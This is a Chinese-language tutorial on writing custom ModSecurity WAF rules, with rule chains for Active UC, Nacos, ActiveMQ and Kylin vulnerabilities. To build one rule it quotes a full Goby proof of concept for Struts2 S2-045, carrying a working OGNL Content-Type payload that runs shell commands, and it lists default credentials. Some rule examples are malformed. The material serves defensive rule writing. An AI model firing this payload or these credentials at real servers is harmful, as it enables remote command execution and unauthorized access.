ModSecurity 自建規則之路

SecIN發表於2022-08-15

0x01 簡介

ModSecurity是一個開源的、跨平臺的Web應用防火牆,它可以透過檢查Web服務接收到的資料,以及傳送出去的資料來對網站進行安全防護。

ModSecurity有以下作用:

SQL Injection (SQLi):阻止SQL隱碼攻擊
Cross Site Scripting (XSS):阻止跨站指令碼攻擊
Local File Inclusion (LFI):阻止利用本地檔案包含漏洞進行攻擊
Remote File Inclusione(RFI):阻止利用遠端檔案包含漏洞進行攻擊
Remote Code Execution (RCE):阻止利用遠端命令執行漏洞進行攻擊
PHP Code Injectiod:阻止PHP程式碼注入
HTTP Protocol Violations:阻止違反HTTP協議的惡意訪問
HTTPoxy:阻止利用遠端代理感染漏洞進行攻擊
Sshllshock:阻止利用Shellshock漏洞進行攻擊
Session Fixation:阻止利用Session會話ID不變的漏洞進行攻擊
Scanner Detection:阻止駭客掃描網站
Metadata/Error Leakages:阻止原始碼/錯誤資訊洩露
Project Honey Pot Blacklist:蜜罐專案黑名單
GeoIP Country Blocking:根據判斷IP地址歸屬地來進行IP阻斷

0x02 規則介紹

根據配置手冊,我們瞭解到分為這幾部分,包含配置指令,處置階段、變數、轉換函式、動作以及運算子。看過規則追後,個人感覺轉換函式這個規則部分在自建規則這裡使用不到,簡單總結一下部分會用到的規則以及動作。

配置指令

SecRules

建立一個使用所選運算子分析指定變數的規則。

SecRule VARIABLES OPERATOR [ACTIONS]

eg:

SecRule ARGS "@rx attack" "phase:1,log,deny,id:1"

處理階段

ModSecurity 2.x允許將規則置於Apache請求週期的以下五個階段之一:

請求頭(REQUEST_HEADERS)

請求體(REQUEST_BODY)

響應頭(RESPONSE_HEADERS)

響應體(RESPONSE_BODY)

日誌記錄(LOGGING)

五個階段圖示如下:

Snipaste_2021-07-26_14-22-19.png

變數

  • ARGS

ARGS是一個集合,可以透過靜態引數(匹配帶有該名稱的引數),或是透過正規表示式(匹配所有帶有與正規表示式匹配的名稱的引數)進行單獨使用(包含所有引數,包括POST Payload),eg:(下面的“id”都為規則的id序號)

SecRule ARGS dirty "id:7"     #檢查dirty所有請求引數的值

SecRule ARGS:p dirty "id:8"   #檢視名為p的引數的值(請注意,通常,請求可以包含多個具有相同名稱的引數) ":"表示運算子

SecRule ARGS|!ARGS:z dirty "id:9"    #檢查單詞dirty的所有請求引數的值,除了名為z的那些(同樣,可以有零個或多個名為z的引數):

  • Files

包含原始檔名的集合(因為它們是在遠端使用者的檔案系統上呼叫的),eg:

SecRule FILES "@rx .conf$" "id:xxx"

  • FILES_NAMES

包含用於檔案上載的表單欄位列表,eg:

SecRule FILES_NAMES "^upfile$" "id:xxx"

  • PATH_INFO

包含額外的請求URI資訊,也稱為路徑資訊。eg:

SecRule PATH_INFO "^/(bin|etc|sbin|opt|usr)" "id:xxx"

  • REMOTE_ADDR

此變數包含遠端客戶端的IP地址。eg:

SecRule REMOTE_ADDR "@ipMatch 192.168.1.101" "id:xxx"

  • REMOTE_PORT

此變數包含有關客戶端在啟動與Web伺服器的連線時使用的源埠的資訊。。eg:

SecRule REMOTE_PORT "@lt 1024" "id:xxx"

  • REMOTE_USER

此變數包含經過身份驗證的使用者的使用者名稱。eg:

SecRule REMOTE_USER "@streq admin" "id:xxx"

  • REQBODY_PROCESSOR

包含當前使用的請求體處理器的名稱。可能的值是URLENCODED,MULTIPART和XML。eg:

SecRule REQBODY_PROCESSOR "^XML$ chain,id:xxx

SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd"

  • REQUEST_BASENAME

該變數僅包含REQUEST_FILENAME的檔名部分(例如,index.php)。eg:

SecRule REQUEST_BASENAME "^login.php$" phase:2,id:xxx,t:none,t:lowercase

  • REQUEST_BODY

包含原始請求體。僅當使用URLENCODED請求體處理器時該變數才有效,即,當檢測到application / x-www-form-urlencoded內容型別時,或者強制使用URLENCODED請求體解析器時,此變數才有效。

SecRule REQUEST_BODY "^username=\w{25,}&password=\w{25,}&Submit=login$" "id:xxx"

  • REQUEST_COOKIES

此變數是所有請求cookie的集合(僅包含值)。eg:

SecRule &REQUEST_COOKIES "@eq 0" "id:xxx"     #請求中沒有任何Cookie頭

動作

  • chain

使用緊隨其後的規則與當前規則進行連結,形成規則鏈。鏈式規則允許更復雜的處理邏輯

#拒絕接受不包含Content-Length標頭或Content-Length的值為0的POST請求。

#(請注意,此規則應在規則之前驗證僅使用有效的請求方法。)

SecRule REQUEST_METHOD "^POST$" phase:1,chain,t:none,id:xxx

SecRule REQUEST_HEADERS:Content-Length "@eq 0" t:none

注意:規則鏈的作用與AND一致。僅當多條規則中的變數檢查同時匹配成功時,才會觸發鏈式規則的第一條規則中指定的阻斷性操作。鏈式規則中無論哪一條規則沒有匹配成功,則表示整個規則鏈匹配失敗,即不會執行阻斷性動作。

手冊上面的第二條語句為

SecRule &REQUEST_HEADERS:Content-Length "@eq 0" t:none

但是在實際應用中新增“&”符號會報錯,所以在寫規則鏈的時候需要注意。

  • drop

透過傳送FIN資料包立即關閉TCP連線。

  • deny

停止規則處理並攔截此次訪問。

  • block

執行SecDefaultAction定義的阻斷性動作。

SecDefaultAction phase:2,deny,id:xxx,status:403,log,auditlog   #配置阻斷後所執行的的預設動作
SecRule ARGS attack1 phase:2,block,id:xxx                            #檢測我們想要阻止的攻擊
SecRule ARGS attack2 phase:2,pass,id:xxx                             #檢測我們只想警告的攻擊

  • msg

將自定義資訊分配給規則或規則鏈。 該訊息將與每次警報一起記錄到日誌中。

SecRule &REQUEST_HEADERS:Host "@eq 0" "log,id:xxxx,severity:2,msg:'無請求主機'"

運算子

  • beginsWith

如果在輸入的開頭找到引數字串,則返回true。eg:

SecRule REQUEST_LINE "@beginsWith GET" "id:xxx"     #檢測以“GET”開頭的請求行

  • contains

如果在輸入中的任何位置找到引數字串,則返回true。eg:

SecRule REQUEST_LINE "@contains .php" "id:xxxx"  #在請求行中的任何位置檢測是否包含“.php”字串

  • containsWord

如果在輸入中的任何位置找到引數字串(帶有字邊界),則返回true。

SecRule ARGS "@containsWord select" "id:xxx"    #在ARGS的任何地方檢測是否包含“select”字串

  • rx

透過提供的正規表示式,對指定的變數進行匹配檢測。rx是預設運算子,所有未明確指定運算子的規則都將預設使用@rx作為運算子。

SecRule REQUEST_HEADERS:User-Agent "@rx  " "id:xxx"     #檢測xss攻擊

  • streq

執行字串比較,如果給定的引數字串與輸入字串相同,則返回true。

SecRule ARGS:foo "!@streq bar" "id:xxx"   #在請求引數“foo”中檢測不包含“bar”

0x03 自建規則

網動統一通訊平臺(Active UC)RCE漏洞

goby的poc參考連結:

https://github.com/TheTh1nk3r/Goby_POC/blob/main/Active_UC_index.action_RCE.json

ModSecurity規則如下:參考github上的POC

{
      "Name": "Active UC index.action 遠端命令執行漏洞",
      "Level": "3",
      "Tags": [
            "RCE"
      ],
      "GobyQuery": "title=\"網動統一通訊平臺(Active UC)\"",
      "Description": "網動統一通訊平臺 Active UC index.action 存在S2-045遠端命令執行漏洞, 透過漏洞可以執行任意命令",
      "Product": "網動統一通訊平臺(Active UC)",
      "Homepage": "https://gobies.org/",
      "Author": "luckying",
      "Impact": "",
      "Recommandation": "",
      "References": [
            "https://gobies.org/"
      ],
  "HasExp": true,
  "ExpParams": [
{
"name": "Cmd",
"type": "input",
"value": "whoami",
"show": ""
}
  ],
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/acenter/index.action",
                        "follow_redirect": false,
                        "header": {
                              "Accept-Encoding": "gzip, deflate",
                              "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
                              "Connection": "close",
                              "Cookie": "SessionId=96F3F15432E0660E0654B1CE240C4C36",
                              "Charsert": "UTF-8",
                              "Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170",
                              "Cache-Control": "no-cache",
                              "Pragma": "no-cache"
                        },
                        "data_type": "text",
                        "data": "-----------------------------18012721719170\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\nContent-Type: text/plain\n-----------------------------18012721719170"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "Windows IP",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
  "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/acenter/index.action",
                        "follow_redirect": false,
                        "header": {
                              "Accept-Encoding": "gzip, deflate",
                              "Accept": "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2",
                              "Connection": "close",
                              "Cookie": "SessionId=96F3F15432E0660E0654B1CE240C4C36",
                              "Charsert": "UTF-8",
                              "Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{{Cmd}}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------18012721719170",
                              "Cache-Control": "no-cache",
                              "Pragma": "no-cache"
                        },
                        "data_type": "text",
                        "data": "-----------------------------18012721719170\nContent-Disposition: form-data; name=\"pocfile\"; filename=\"text.txt\"\nContent-Type: text/plain\n-----------------------------18012721719170"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "Windows IP",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
"output|lastbody"
  ]
            }
      ],
}

這裡設定的是掃描階段的檢測POC的防禦規則,對於防禦來說,規則的設定可以精確到字串或者精確到欄位都可以,策略如果設定的過於精確,造成的結果就是可能誤報率過高,對正常的業務造成影響,策略設定的比較寬鬆,就會無法檢測攻擊行為,起不到防護效果。

那麼這個規則的設定分為三部分,並未對返回包進行檢測規則的設定

  • 規則設定請求方式為POST,在使用規則之前驗證有效請求POST
  • 規則設定訪問路徑為“/acenter/index.action”
  • 規則設定匹配構造的請求包的請求體內的欄位“Content-Type”的內容(這條規則的設定可能只能起到檢測該poc的目的,所以針對該漏洞的規則的設定需要更多的規則)
  • 注意:規則鏈的作用與AND一致。僅當多條規則中的變數檢查同時匹配成功時,才會觸發鏈式規則的第一條規則中指定的阻斷性操作。鏈式規則中無論哪一條規則沒有匹配成功,則表示整個規則鏈匹配失敗,即不會執行阻斷性動作。

SecRule REQUEST_METHOD "^POST$"  "chain,msg: 'Active UC Attack',severity:ERROR,deny,status:404,id:xxx"

SecRule  REQUEST_URI "/acenter/index.action" "chain"

SecRule REQUEST_BODY:Content-Type "@rx (?i)cmd|(?!)system"

Nacos 未授權訪問漏洞

掃描防禦規則鏈如下:

  • 規則設定請求方式為GET,在使用規則之前驗證有效請求GET

  • 規則設定訪問路徑為“/nacos/v1/auth/users?"

  • 規則設定請求體內的"data"資料為null即等於0

  • 規則設定伺服器傳送的完整狀態500

    SecRule  REQUEST_METHOD "^GET$" "chain,msg: 'Nacos unauthorized Attack',severity:ERROR,deny,status:404,id:xxx"

    SecRule  REQUEST_URI "/nacos/v1/auth/users?" "chain"

    SecRule  REQUEST_BODY:data "@eq 0" "chain"

    SecRule STATUS_LINE "@contains 500"

EXp防禦規則鏈如下:

  • 規則設定請求方式為POST,在使用規則之前驗證有效請求POST

  • 規則設定訪問路徑為“/nacos/v1/auth/users?"

  • 規則設定請求體內的"data"資料不為null

    SecRule  REQUEST_METHOD "^POST$" "chain,msg: 'Nacos unauthorized Attack',severity:ERROR,deny,status:404,id:xxx"

    SecRule  REQUEST_URI "/nacos/v1/auth/users?" "chain"

    SecRule  REQUEST_BODY:data "!@eq 0"

Nacos 控制檯預設弱口令

掃描防禦規則鏈如下:

  • 規則設定請求方式為POST,在使用規則之前驗證有效請求POST
  • 規則設定訪問路徑為“/nacos/v1/auth/users/login"
  • 規則設定訪問的資料傳輸的內容“username=nacos&password=nacos”

SecRule  REQUEST_METHOD "^POST$" "chain,msg: 'Nacos Default Password Attack',severity:ERROR,deny,status:404,id:xxx"

SecRule  REQUEST_URI "/nacos/v1/auth/users/login" "chain"

SecRule  REQUEST_BODY:data "username=nacos&password=nacos"

EXp防禦規則鏈如下:

SecRule  REQUEST_METHOD "^POST$" "chain,msg: 'Nacos Default Password Attack',severity:ERROR,deny,status:404,id:xxx"

SecRule  REQUEST_URI "/nacos/v1/auth/users/login" "chain"

SecRule  REQUEST_BODY:data "username=nacos&password=nacos"

預設口令的賬號密碼都為nacos,所以這裡不管是掃描還是利用都是一樣的規則。

Apache ActiveMQ Console控制檯預設口令

防禦規則鏈如下:

  • 規則設定請求方式為GET,在使用規則之前驗證有效請求GET

  • 規則設定訪問路徑為“/admin"

  • 在apache該中介軟體中賬號以及密碼的傳輸的格式為base64(admin:admin),傳輸的時候為“Basic YWRtaW46YWRtaW4=”

    SecRule  REQUEST_METHOD "^GET$" "chain,msg: 'Apache ActiveMQ Default Password Attack',severity:ERROR,deny,status:404,id:xxx"

    SecRule  REQUEST_URI "/admin" "chain"

    SecRule  REQUEST_Header  "@rx ^YWRtaW46YWRtaW4=$"

預設口令的賬號密碼為admin:admin,所以這裡不管是掃描還是利用都是一樣的規則。

CVE-2020-13937 Kylin 未授權配置洩露

防禦規則鏈如下:

  • 規則設定請求方式為GET,在使用規則之前驗證有效請求GET
  • 規則設定訪問路徑為"/kylin/api/admin/config"

SecRule  REQUEST_METHOD "^GET$" "chain,msg: 'Kylin unauthorized config Link Attack(CVE-2020-13937)',severity:ERROR,deny,status:404,id:xxx"

SecRule  REQUEST_URI "/kylin/api/admin/config"

0x04 小結

這邊選擇使用網上使用的一些漏洞poc來編寫自建規則。當然Vulhub漏洞庫的一些poc或者是goby釋出的一些自寫POC都可以作為修改,驗證自己本地搭建平臺使用規則作為驗證條件即可。當然,可能有的師傅考慮到這個自建規則有什麼用,只不過可以搭建一個自用的漏洞檢測平臺,使用自建的規則庫,好不好用完全取決於自建的漏洞庫的poc有多龐大,因為這個規則跟現在使用的眾多大廠的態勢感知使用的規則以及匹配模式有點相似,所以正好拿出來自己嘗試一下另外和師傅們做一個分享!!!

相關文章